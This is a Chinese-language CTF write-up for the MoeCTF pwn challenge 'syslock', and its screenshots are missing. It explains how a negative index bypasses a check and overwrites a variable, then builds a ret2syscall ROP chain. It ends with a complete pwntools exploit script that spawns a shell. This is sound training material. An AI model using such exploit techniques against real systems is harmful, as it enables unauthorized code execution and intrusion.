syslock
.png)
main函数:
.png)
input函数:
.png)
cheat函数:
.png)
gadget函数汇编代码:
.png)
题目没有后门函数,我们看代码,这里我们很容易就注意到cheat函数中有一个栈溢出漏洞,这题没开sandbox,no pie,我们还能在二进制文件中找到syscall地址,那我们考虑用ret2syscall,那execuv的调用是:
| 寄存器 | 作用 | 此时需要填入的值 |
|---|---|---|
| RAX | 系统调用号 | 59 (0x3b)(代表 execve) |
| RDI | 第1个参数 | 指向**"/bin/sh"**字符串的地址 |
| RSI | 第2个参数 | 0(空指针,argv) |
| RDX | 第3个参数 | 0(空指针,envp) |
| RIP | 执行指令 | syscall指令的地址 |
我们看gadget能帮我们设置rdi,rsi和rdx,我们在二进制文件中也能找到pop rax,那我们能够构造rop链了,我们可以发现二进制文件中并没有/bin/sh字符串,所以我们要先读入,我们可以看到在cheat函数前有一次读入,那我们可以利用这个读入我们的/bin/sh字符串,那我们现在就剩下寻找怎么触发栈溢出了,我们看到首先我们在input输入i的值(input函数读入15字节,把第16字节位置强制设置为\x00,然后用atoi把buf转换为整数),然后会检查i是否大于4,我们要保证i小于等于4,然后向s+i的位置读入12字节数据,这里我们肯定要输入八字节的'/bin/sh\x00'(这里是保证字符串以\x00结尾,保证函数正确使用这个字符串),然后又有一个检查i是否等于59,这里我们必须保证i=59,但是前面有要i<=4,那我们的思路就算在通过第一个检查后修改i的值使它等于59,那我们只能利用read(0,&s+i,0xcu)了,我们看s和i的位置关系:
.png)
这里我们可以看到s-32是i的位置,那我们只要在第一次把i设为-32就能在read(0,&s+i,0xcu)覆盖i的值了,但是这里注意我们只有12字节的输入空间,我们的字符串要占八字节,所以我们的59只能用p32(四字节),而不能用u64(八字节),那这样我们就能getshell了。
EXP:
from pwn import *
p = process('./pwn')
#p = remote('127.0.0.1',42537)
context(arch='amd64', os='linux', log_level='debug')
p.sendlineafter(b'choose mode',b'-32')
bin_add = 0x404084
payload1 = flat([
p32(59),
b'/bin/sh\x00'
])
p.sendafter(b'Input your password',payload1)
syscall = 0x401230
gadget = 0x40123c
prax = 0x401244
payload2 = flat([
b'A' * 72,
prax, 59,
gadget, bin_add, 0, 0,
syscall
])
p.sendafter(b'Developer Mode.\n',payload2)
p.interactive()
题目链接:
CTF-Writeups/MoeCTF/ syslock at main · ZenDuk17/CTF-Writeups